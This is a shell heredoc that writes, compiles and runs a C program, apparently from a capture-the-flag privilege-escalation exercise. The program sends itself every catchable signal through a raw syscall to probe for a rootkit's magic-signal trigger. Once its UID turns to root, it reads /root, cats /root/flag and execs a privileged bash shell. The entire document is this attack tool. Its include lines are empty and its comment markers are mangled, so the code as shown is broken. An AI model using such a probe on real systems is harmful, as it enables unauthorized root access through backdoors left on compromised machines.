cat > sigscan.c <<'EOF' #define _GNU_SOURCE #include #include #include #include #include #include static void handler(int sig){ /* swallow it / } int main(){ printf("[] pid=%d\n", getpid()); struct sigaction sa; memset(&sa,0,sizeof(sa)); sa.sa_handler = handler; sigfillset(&sa.sa_mask); /* catch most signals so we don't die / for(int s=1; s<65; s++) sigaction(s, &sa, NULL); uid_t u0 = getuid(); for(int s=1; s<=64; s++){ / skip SIGKILL(9) and SIGSTOP(19) which can't be caught anyway / if(s==9 || s==19) continue; printf("[] sending signal %d ... ", s); fflush(stdout); /* call kill via syscall (some kits hook it) / long r = syscall(SYS_kill, getpid(), s); (void)r; usleep(200000); / 0.2s */ uid_t u = getuid(); printf("uid=%d\n", (int)u); if(u==0){ printf("[+] ROOT via signal %d!\n", s); system("id; ls -la /root; cat /root/flag 2>/dev/null || echo '[!] no flag match in /root'; ls -la ~"); execl("/bin/bash","bash","-p",NULL); return 0; } } printf("[-] No signal flipped UID. Try other triggers.\n"); return 0; } EOF gcc sigscan.c -o sigscan && ./sigscan